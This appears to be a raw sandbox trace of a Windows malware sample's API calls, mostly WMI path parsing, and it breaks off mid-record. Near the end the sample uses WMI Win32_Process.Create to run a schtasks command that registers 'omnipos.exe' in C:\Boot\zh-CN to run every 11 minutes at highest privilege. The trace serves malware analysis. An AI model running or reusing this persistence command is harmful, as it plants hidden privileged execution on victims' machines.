riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.886] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x2 [0090.886] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x1 [0090.886] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.886] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b4e0) returned 0x0 [0090.886] WbemDefPath:IUnknown:AddRef (This=0x119b4e0) returned 0x3 [0090.886] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x2 [0090.886] WbemDefPath:IWbemPath:SetText (This=0x119b4e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0090.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b4e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0090.886] WbemDefPath:IWbemPath:GetText (in: This=0x119b4e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0090.886] WbemDefPath:IWbemPath:GetText (in: This=0x119b4e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0090.886] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119a9a0) returned 0x0 [0090.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b4e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0090.886] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0090.886] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0090.886] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119a9a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b4e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0090.887] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119a9a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetClassName (in: This=0x119a9a0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0090.887] WbemDefPath:IWbemPath:SetClassName (This=0x119a9a0, Name="Win32_Process") returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a9a0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a9a0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0090.887] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0090.887] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0090.888] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0090.888] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0090.888] IUnknown:Release (This=0x111f638) returned 0x1 [0090.890] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bfa8930) returned 0x0 [0090.890] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8930, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0090.890] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8930, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119b420) returned 0x0 [0090.890] WbemDefPath:IUnknown:Release (This=0x1bfa8930) returned 0x0 [0090.890] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119b420) returned 0x0 [0090.890] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0090.891] WbemDefPath:IUnknown:AddRef (This=0x119b420) returned 0x3 [0090.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0090.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0090.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bfa8910) returned 0x0 [0090.891] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8910, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.891] WbemDefPath:IUnknown:Release (This=0x1bfa8910) returned 0x3 [0090.891] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0090.891] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0090.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0090.891] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x2 [0090.891] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x1 [0090.891] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0090.891] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0090.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119b420) returned 0x0 [0090.891] WbemDefPath:IUnknown:AddRef (This=0x119b420) returned 0x3 [0090.891] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x2 [0090.891] WbemDefPath:IWbemPath:SetText (This=0x119b420, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0090.891] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.891] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0090.892] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.892] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.892] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.892] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.892] IUnknown:Release (This=0x111f638) returned 0x1 [0090.894] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa86f0) returned 0x0 [0090.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa86f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.894] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa86f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b360) returned 0x0 [0090.894] WbemDefPath:IUnknown:Release (This=0x1bfa86f0) returned 0x0 [0090.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b360) returned 0x0 [0090.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.895] WbemDefPath:IUnknown:AddRef (This=0x119b360) returned 0x3 [0090.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa8790) returned 0x0 [0090.895] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8790, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.895] WbemDefPath:IUnknown:Release (This=0x1bfa8790) returned 0x3 [0090.895] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.895] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.895] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x2 [0090.895] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x1 [0090.896] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.896] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.896] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b360) returned 0x0 [0090.896] WbemDefPath:IUnknown:AddRef (This=0x119b360) returned 0x3 [0090.896] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x2 [0090.896] WbemDefPath:IWbemPath:SetText (This=0x119b360, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b360, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetText (in: This=0x119b360, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetText (in: This=0x119b360, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0090.896] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119b420) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b360, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b360, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b360, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0090.896] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b420, uIndex=0x0, pszName="root") returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b360, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b360, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0090.896] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119b420, uIndex=0x1, pszName="cimv2") returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetServer (in: This=0x119b360, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetServer (in: This=0x119b360, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetServer (in: This=0x119b420, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetServer (in: This=0x119b420, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0090.896] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b420, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0090.897] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0090.898] IWbemServices:GetObject (in: This=0x1bea7e60, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11fce00, ppCallResult=0x0) returned 0x0 [0090.939] IWbemClassObject:GetMethod (in: This=0x11fce00, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11fd170, ppOutSignature=0x1b2fd9e0*=0x11fd4e0) returned 0x0 [0090.940] IWbemClassObject:SpawnInstance (in: This=0x11fd170, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf47390) returned 0x0 [0090.940] IWbemClassObject:Get (in: This=0x1bf47390, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15a90*=0, plFlavor=0x2a15a94*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15a90*=8, plFlavor=0x2a15a94*=32) returned 0x0 [0090.940] IWbemClassObject:Get (in: This=0x1bf47390, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15a90*=8, plFlavor=0x2a15a94*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15a90*=8, plFlavor=0x2a15a94*=32) returned 0x0 [0090.940] IWbemClassObject:Put (This=0x1bf47390, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0090.941] IWbemClassObject:Get (in: This=0x1bf47390, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15b20*=0, plFlavor=0x2a15b24*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 